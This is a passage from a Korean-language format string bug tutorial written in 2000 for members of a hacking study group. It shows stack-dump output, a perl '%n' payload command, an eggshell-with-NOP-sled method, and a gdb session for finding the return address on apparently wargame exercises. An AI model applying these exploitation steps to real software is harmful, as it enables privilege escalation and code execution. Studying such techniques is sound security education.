ABCD ?풞BCD!?풞BCD"?풞BCD#?풺ffff8284003598b 2bffff854bffff86040013868
2 8048350 0 8048371 80485e4 2bffff854 80482c0 804863c4000ae60bffff84c4
0013e90 2bffff970bffff978 0bffffac9bffffaebbffffaf9bffffb0cbffffb18bfff
fb2fbffffb48bffffb59bffffb67bffffba2bffffbaebffffbbdbffffbd2bffffc0dbffffc20bffffc3
0bffffc39bffffc48bffffc51bffffc64bffffc7cbffffc8fbffffc9cbffffce2bffffcf3bffffd00bf
fffd12bffffd26bffffd2ebfffffe4 0 3 8048034 4 20 5
6 6 1000 740000000 8 0 9 8048350 b 1f4
c 1f4 d 1f4 e 1f4 10 383fbff fbffff96b 0
0 0 0 0 0 0 0 069000000 36383665742f2e
377473
A
A A
A0xbffff920 70 f7 ff bf p...
[wdc@Null2Root fsb]$
"0xbffff920 70 f7 ff bf" 정확한 값이 나왔다... 이제 argv로 data를 받아서 바로 printf
로 넣는 경우에도 우리는 원하는 주소에 원하는 값을 넣을수 있다. 이것을 format string
bug에 대한 기본개념에 대해서는 거의 이해가 된것 같다...
7. Return Address & Egg shell Address찾기
이부분에 대해서는 자세히 쓸수가 없다. 왜냐면 넘 어렵기 때문에 잘 모른다. 단지 루비 16
과 메인소스 보너스2문제 정도의 범위내에서 간단히 찾아 내는 방법만 설명하겠다.
shellcode는 찾기 쉽게 환경변수(eggshell)로 저장한뒤 dumpcode를 이용하여 stack pointer
보다 약간 앞부분(윗주소)을 찾는다. eggshell을 만들때는 size를 크게하고(1024정도) 앞
부분을 0x90으로 채워 green zone을 넓혀 놓으면 이용하기 편하다...
ret address를 찾는 방법은 일단 소스를 컴파일해서 실행을 해본다. 이때 전체 data를 정확
넣어서... perl -e 'system "./test7", "ABCD주소1.....%n"' 이때는 적당히 아무주소나 넣고
(ret addr를 모르니) 정확히 맞았으면 .. 그때 aggv값을 화일에 저장한다. 이때 주의할 점은
주소는 code로 들어가야 한다는 것이다.(깨진 문자형태) file에 저장한다. 여기서 file이
정확한 크기여야 되는 이유는 argv 크기에 따라 size가 바뀌고 그에 따라 return address도
따라서 바뀌기 때문에 가능한한 정확한 값을 넣어야 한다.
[wdc@Null2Root fsb]$ gdb test7
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) set args < file
(gdb) b main
Breakpoint 1 at 0x80485e7
(gdb) r
Starting program: /home/wdc/fsb/test7 < file
Breakpoint 1, 0x80485e7 in main ()
(gdb) bt
#0 0x80485e7 in main ()
#1 0x4003598b in __libc_start_main (main=0x80485e4 <main>, argc=1, argv=0xbffff994,
init=0x80482c0 <_init>,
fini=0x804863c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffff98c)
at ../sysdeps/generic/libc-start.c:92
(gdb) x/10 $ebp
0xbffff948: 0xbffff968 0x4003598b 0x00000001 0xbffff994
0xbffff958: 0xbffff99c 0x40013868 0x00000001 0x08048350
0xbffff968: 0x00000000 0x08048371
(gdb)
여기서 main()의 ret addr이 0xbffff948+4 = 0xbffff94c임을 알수 있다. 그럼 원래 vuln화일
을 실행시켰을때 같은 ret addr를 같은가? 항상 그렇지는 않다. 그렇지만 쉽게 찾을수 있다.
이유는 ret addr가 움직일때 일정한 간격을 두고 움직이기 따문이다. 그간격은 0x10이다.
그러니까 만약 위의 0xbffff94c가 맞지 않으면 0x10씩 증감하면서 ret addr를 찾으면 된다.
다른 쉽게 찾을수 있는 편법이 있는데 그것은 %x에 의해 출력된 값중에 sf의 값이 출력되는데
이것과 ret addr와는 일정한 간격을 유지하므로 이를 이용해서 찾을수 있다. 그것은 여기서
자세히 소개하지 않겠다. 각자 알아서 좀더 자세한 방법을 연구해 보길 바란다.
이것을 format string bug에 대한 강좌를 마친다. 쓰다가 보니 잘 표현되지 못한 부분들이
있으나 기본 개념을 잡을수 있도록 최대한 노력하였다. 이 강좌로 우리 Null@Root 그룹원들이
format string bug를 이해하는데 조금이나마 도움이 되었으면 하는 바람이다.
2000.12.25 성탄절 아침에 Willy in Null@Root




텅날개
최근등록 댓글